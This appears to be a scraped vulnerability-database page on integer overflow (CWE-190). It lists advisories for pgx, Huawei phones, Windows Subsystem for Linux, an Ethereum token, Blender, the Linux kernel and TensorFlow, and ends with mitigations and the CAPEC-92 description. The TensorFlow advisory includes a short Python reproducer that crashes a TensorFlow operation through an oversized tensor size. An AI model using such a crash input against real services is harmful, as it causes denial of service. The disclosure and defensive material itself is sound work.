      "type": "WEB",
      "url": "https://github.com/jackc/pgx/commit/f94eb0e2f96782042c96801b5ac448f44f0a81df"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jackc/pgx"
    },
    {
      "type": "WEB",
      "url": "https://www.youtube.com/watch?v=Tfg1B8u1yvE"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pgx SQL Injection via Protocol Message Size Overflow"
}

GHSA-MRXM-96J8-C9RW

Vulnerability from github – Published: 2021-12-08 00:01 – Updated: 2023-08-08 15:31
VLAI
Details

There is a Stack-based Buffer Overflow vulnerability in Huawei Smartphone.Successful exploitation of this vulnerability may lead to device cannot be used properly.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-37014"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-07T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "There is a Stack-based Buffer Overflow vulnerability in Huawei Smartphone.Successful exploitation of this vulnerability may lead to device cannot be used properly.",
  "id": "GHSA-mrxm-96j8-c9rw",
  "modified": "2023-08-08T15:31:24Z",
  "published": "2021-12-08T00:01:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37014"
    },
    {
      "type": "WEB",
      "url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202109-0000001196270727"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MV4Q-V62J-C98M

Vulnerability from github – Published: 2022-05-14 01:11 – Updated: 2022-05-14 01:11
VLAI
Details

An elevation of privilege vulnerability exists due to an integer overflow in Windows Subsystem for Linux, aka 'Windows Subsystem for Linux Elevation of Privilege Vulnerability'. This CVE ID is unique from CVE-2019-0689, CVE-2019-0692, CVE-2019-0693, CVE-2019-0694.

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-0682"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-04-09T00:29:00Z",
    "severity": "HIGH"
  },
  "details": "An elevation of privilege vulnerability exists due to an integer overflow in Windows Subsystem for Linux, aka \u0027Windows Subsystem for Linux Elevation of Privilege Vulnerability\u0027. This CVE ID is unique from CVE-2019-0689, CVE-2019-0692, CVE-2019-0693, CVE-2019-0694.",
  "id": "GHSA-mv4q-v62j-c98m",
  "modified": "2022-05-14T01:11:26Z",
  "published": "2022-05-14T01:11:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-0682"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0682"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MV68-VMR3-PXQ2

Vulnerability from github – Published: 2022-05-14 03:12 – Updated: 2022-05-14 03:12
VLAI
Details

The mintToken function of a smart contract implementation for GoldTokenERC20, an Ethereum token, has an integer overflow that allows the owner of the contract to set the balance of an arbitrary user to any value.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-13673"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-09T06:29:00Z",
    "severity": "HIGH"
  },
  "details": "The mintToken function of a smart contract implementation for GoldTokenERC20, an Ethereum token, has an integer overflow that allows the owner of the contract to set the balance of an arbitrary user to any value.",
  "id": "GHSA-mv68-vmr3-pxq2",
  "modified": "2022-05-14T03:12:36Z",
  "published": "2022-05-14T03:12:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-13673"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BlockChainsSecurity/EtherTokens/blob/master/GEMCHAIN/mint%20integer%20overflow.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BlockChainsSecurity/EtherTokens/tree/master/GoldTokenERC20"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MV8Q-H58C-FRJF

Vulnerability from github – Published: 2022-05-13 01:01 – Updated: 2022-05-13 01:01
VLAI
Details

An exploitable integer overflow exists in the upgrade of a legacy Mesh attribute of the Blender open-source 3d creation suite v2.78c. A specially crafted .blend file can cause an integer overflow resulting in a buffer overflow which can allow for code execution under the context of the application. An attacker can convince a user to open the file or use it as a library in order to trigger this vulnerability.

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-12081"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-04-24T19:29:00Z",
    "severity": "HIGH"
  },
  "details": "An exploitable integer overflow exists in the upgrade of a legacy Mesh attribute of the Blender open-source 3d creation suite v2.78c. A specially crafted .blend file can cause an integer overflow resulting in a buffer overflow which can allow for code execution under the context of the application. An attacker can convince a user to open the file or use it as a library in order to trigger this vulnerability.",
  "id": "GHSA-mv8q-h58c-frjf",
  "modified": "2022-05-13T01:01:42Z",
  "published": "2022-05-13T01:01:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12081"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/08/msg00011.html"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2018/dsa-4248"
    },
    {
      "type": "WEB",
      "url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0433"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MW2M-V92W-Q9WW

Vulnerability from github – Published: 2026-06-24 18:32 – Updated: 2026-07-15 15:32
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

scsi: target: core: Fix integer overflow in UNMAP bounds check

sbc_execute_unmap() checks LBA + range does not exceed the device capacity, but does not guard against LBA + range wrapping around on 64-bit overflow.

Add an overflow check matching the pattern already used for WRITE_SAME in the same file.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-53021"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-24T17:17:13Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: target: core: Fix integer overflow in UNMAP bounds check\n\nsbc_execute_unmap() checks LBA + range does not exceed the device capacity,\nbut does not guard against LBA + range wrapping around on 64-bit overflow.\n\nAdd an overflow check matching the pattern already used for WRITE_SAME in\nthe same file.",
  "id": "GHSA-mw2m-v92w-q9ww",
  "modified": "2026-07-15T15:32:44Z",
  "published": "2026-06-24T18:32:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53021"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/02115986d027ade793e7f6be87e91d6a796d0aa3"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/2bf2d65f76697820dbc4227d13866293576dd90a"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/2e1ed9a7b6ea5bfefb5d80a02b1c71c7dee1f0dd"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3facdecc3fcf115cc4f9b3d8f118d6705e2456a8"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/51075df70c46e60a9773f2dcd28299e40dac36fb"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/5efc3ef4758f8d98c257419fa21daca3227de61a"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/c08ab702c4699c6efb9d60bdb15b73e7a627ee7e"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/d7aef29573c7c5cdb2dfad939253287a6329c2a4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MW6J-HH29-H379

Vulnerability from github – Published: 2022-05-25 19:33 – Updated: 2022-05-25 19:33
VLAI
Summary
`CHECK` failure in depthwise ops via overflows
Details

Impact

The implementation of depthwise ops in TensorFlow is vulnerable to a denial of service via CHECK-failure (assertion failure) caused by overflowing the number of elements in a tensor:

import tensorflow as tf

input = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32)
filter_sizes = tf.constant(1879048192, shape=[13], dtype=tf.int32)
out_backprop = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32)
tf.raw_ops.DepthwiseConv2dNativeBackpropFilter(
    input=input, filter_sizes=filter_sizes, out_backprop=out_backprop, strides=[1, 1, 1, 1], padding="SAME")

This is another instance of TFSA-2021-198 (CVE-2021-41197).

Patches

We have patched the issue in GitHub commit 3796cc4fcd93ae55812a457abc96dcd55fbb854b.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "2.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "2.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "2.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-05-25T19:33:50Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\nThe implementation of depthwise ops in TensorFlow is vulnerable to a denial of service via `CHECK`-failure (assertion failure) caused by overflowing the number of elements in a tensor:\n\n```python\nimport tensorflow as tf\n\ninput = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32)\nfilter_sizes = tf.constant(1879048192, shape=[13], dtype=tf.int32)\nout_backprop = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32)\ntf.raw_ops.DepthwiseConv2dNativeBackpropFilter(\n    input=input, filter_sizes=filter_sizes, out_backprop=out_backprop, strides=[1, 1, 1, 1], padding=\"SAME\")\n```\n  \nThis is another instance of [TFSA-2021-198](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-198.md) (CVE-2021-41197).\n  \n### Patches\nWe have patched the issue in GitHub commit [3796cc4fcd93ae55812a457abc96dcd55fbb854b](https://github.com/tensorflow/tensorflow/commit/3796cc4fcd93ae55812a457abc96dcd55fbb854b).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.",
  "id": "GHSA-mw6j-hh29-h379",
  "modified": "2022-05-25T19:33:50Z",
  "published": "2022-05-25T19:33:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-mw6j-hh29-h379"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/commit/3796cc4fcd93ae55812a457abc96dcd55fbb854b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tensorflow/tensorflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-198.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "`CHECK` failure in depthwise ops via overflows"
}
Mitigation
Requirements

Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.

Mitigation MIT-3
Requirements

Strategy: Language Selection

  • Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • If possible, choose a language or compiler that performs automatic bounds checking.
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Use libraries or frameworks that make it easier to handle numbers without unexpected consequences.
  • Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]
Mitigation MIT-8
Implementation

Strategy: Input Validation

  • Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.
  • Use unsigned integers where possible. This makes it easier to perform validation for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.
Mitigation MIT-36
Implementation
  • Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7]
  • Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-26
Implementation

Strategy: Compilation or Build Hardening

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

CAPEC-92: Forced Integer Overflow

This attack forces an integer variable to go out of range. The integer variable is often used as an offset such as size of memory allocation or similarly. The attacker would typically control the value of such variable and try to get it out of range. For instance the integer in question is incremented past the maximum possible value, it may wrap to become a very small, or negative number, therefore providing a very incorrect value which can lead to unexpected behavior. At worst the attacker can execute arbitrary code.

← Back to the CWE list